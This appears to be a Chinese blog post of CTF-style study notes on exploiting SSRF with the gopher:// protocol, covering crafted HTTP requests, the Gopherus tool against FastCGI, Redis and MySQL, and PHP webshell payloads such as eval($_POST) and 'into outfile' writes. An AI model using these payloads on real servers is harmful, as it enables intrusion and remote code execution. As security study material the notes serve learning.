首页 > 其他分享 >gopher伪协议

gopher伪协议

时间:2024-03-27 23:30:03浏览次数:19  
标签:协议 www HTTP 0.1 gopher php Port

基础知识

基本格式

基本格式:URL:gopher://<host>:<port>/<gopher-path>
  • web也需要加端口号80
  • gophert协议默认端口为70
  • gopheri请求不转发第一个字符

Snipaste_2024-02-26_20-44-17.png

get请求

  • 问号(?)需要转码为URL编码,也就是%3f
  • 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  • 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
  • URL编码改为大写,冒号注意英文冒号
  • 如果使用BP发包需要进行两次u编码
  • GET提交最后需要增加一个换行符
gopher://127.0.0.1:80/_
GET /get.php?a=hello HTTP/1.1
Host: 127.0.0.1

为什么bp要进行两次url编码

curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;
而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode

Snipaste_2024-02-27_16-42-33.png

post请求

需要注意的是,post请求有4个参数为必要参数。

gopher://127.0.0.1:80/_
POST /post.php HTTP/1.1
host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

a=hello

当我们不得不添加别的参数

Cookie

POST /index.php HTTP/1.1
Host: localhost:80
Cookie: PHPSESSID=1f546328759632456215236845122365
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

uname=admin&passwd=admin

xxe

[[xxe]]
Snipaste_2024-02-28_00-02-21.png

sql-get

[[sql注入]]
注意不要使用+当做空格,就页面里面用%20,bp或hackbar用%2520
[外链图片转存中…(img-kwRcQIhN-1711552424782)]

sql-post

[[sql注入]]
[外链图片转存中…(img-yt5YfBVj-1711552424782)]

文件上传

[[文件上传]]

前置知识

image.png

如何构造payload

Snipaste_2024-02-28_09-26-53.png

Snipaste_2024-02-28_09-30-34.png

使用

假设172.6.0.1:80页面有文件上传

gopher://172.6.0.1:80/_

Snipaste_2024-02-28_09-32-18.png

文件包含

[[文件包含]]
Snipaste_2024-02-28_09-41-18.png

Gopherus工具

使用范围

目前支持生成payload应用有:
MySQL (Port:3306)
FastCGI (Port:9000)
Memcached (Port:11211)
Redis (Port:6379)
Zabbix (Port:10050)
SMTP (Port:25)

RCE

python2 gopherus.py –exploit fastcgi(写支持的名字,如fastcgi,redis,mysql)
/var/www/html/index.php             //?url= 页面的具体目录

ls
ls /
cat /flag.php

webshell

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php           //?url= 页面的具体目录

echo "<?php eval(\$_POST[123]);?>" >1.php     //$_POST[]里面不能是字母,前面的 \ 不可少! 就用这个,别改就行!!!
    
python2 gopherus.py –exploit redis
PHPShell				//这里有两个选项:ReverseShell应该是反弹shell  PHPshell(填php也行)就是webshell了
/var/www/html/index.php 
 
<?php eval($_POST["aaa"])?>  //redis好像和fastcgi不同,他的webshell不能用,redis的POST里面是字母,他的是数字  用这个,                              //别改就行

mysql

不使用工具生成的话去看图片笔记

条件

因为是使用into outfile函数写入的,有一下限制
[[mysql-文件读写#1.13.3. 写文件]]

Snipaste_2024-02-28_15-38-04.png

常规使用

python2 gopherus.py --exploit mysql

select "<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';

select "<?php @eval($_POST['t']);?>" into outfile '/var/www/html/4.php';

select load_file("/flag");

Snipaste_2024-02-28_15-42-32.png

UDF 提权

https://www.sqlsec.com/udf/

redis未授权

如果对方有网站,

标签:协议,www,HTTP,0.1,gopher,php,Port
From: https://blog.csdn.net/2202_75361164/article/details/137092879

相关文章

  • TCP与UDP:传输层协议对比
    ......
  • 传输层协议
    TCP和UDP协议TCP/IP协议族的传输层协议1、TCP(TransmissionControlProtocol) 传输控制协议2、UDP(UserDatagramProtocol) 用户数据报协议###TCP和UDP协议的区别1、TCP是面向连接的、可靠的进程到进程通信的协议。TCP提供全双工服务,即数据可在同一时间双向传输,每一个......
  • 传输层协议介绍
    1.TCP和UDP协议(1)TCP/IP协议族的传输层协议TCP:传输控制协议;UDP用户数据报协议1)TCP协议:TCP是面向连接的、可靠的进程到进程通信的协议;比如打电话,双方通话前需要先建立连接。TCP提供全双工服务,即数据可在同一时间双向传输;每一个TCP都有发送缓存和接收缓存,用来临时存储数据。TC......
  • http协议中缓存Cache-Control详解
    Cache-Control是一个HTTP/1.1协议中的头部字段,用于指定请求和响应遵循的缓存机制。通过这个头部,服务器可以告诉客户端响应可以被缓存多长时间,以及在什么条件下可以被缓存和重新使用。以下是一些常见的Cache-Control指令:基本指令no-cache表示响应不应该被缓存,除非得到......
  • 网络层协议介绍
    1.网路层的功能定义了基于IP协议的逻辑地址;连接不同的媒介类型;选择数据通过网络的最佳路径。2.网络层(三层)进行逻辑地址(IP地址)寻址和路由选择***(1)IP数据包格式IP头部的组成:源IP地址;*目的IP地址;*IP版本(IPv4|IPv6);*IP头部长度(最短20字节,可根据可选项变长);*TTL(......
  • 聊聊微信小程序的隐私协议开发
    为什么需要隐私协议?小程序隐私授权弹窗FAQ官方:https://developers.weixin.qq.com/community/develop/doc/00000ebac5c3e0423840776a966c09 也就是说只要我们配置了隐私协议,那么涉及到拍照啊、上传、下载图片啊这些接口都不需要授权了,只要用户同意就能直接调用相关接口。如......
  • http协议
    HTTP协议1.定义​ 如何组件数据包,如何解析数据包2.HTTP协议的起源TCP:长连接协议,类似打电话UDP:广播协议FTP:文件服务器协议​ 基于Tcp协议发明了Http协议3.HTTP协议的特点可靠性短链接协议,也叫无状态协议每一个HTTP请求都包含一个请求和一个响应每一个Http请求头由......
  • AXI_Lite协议详解
    文章目录摘要一、AXI_Lite接口全局信号:1、写地址通道:2、写数据通道:3、写响应通道:4、读地址通道:5、读数据通道:二、仿真波形摘要AXI4-lite是AXI4-full的简化版。用于简单、低吞吐量的内存映射通信。主要用于内核和外设寄存器之间的通信。比如当访问串口的数据寄存器时......
  • SpringBootWeb最新相关技术(上接maven):IDEA2023-Spring环境,http协议复习概览,web服务器To
    Spring官网HTTPs://spring.iospring生态(全家桶)基于SpringFramework基础框架。但如果我们基于该基础框架开发,会面临配置繁琐,入门难度大的问题,SpringBoot则可以快速开发(简化配置,快速开发)。1.SpringBootWeb入门使用SpringBoot开发一个Web应用,浏览器发起请求/hello之后,给浏......
  • Key-N-Value--基于Protocol Buffers的树型协议处理引擎
    导言KNV是Key-Value协议的无限嵌套和模式自由的扩展,允许使用者快速访问或修改ProtoBuffers协议中的一部分或者多个部分,KNV原是一个面向对象缓存系统的一部分,后面作为腾讯第一批开源组件对外开源。KNV的理念也申请并获得国家专利。​​​​​​​项目地址:GitHub-shaneyuee/......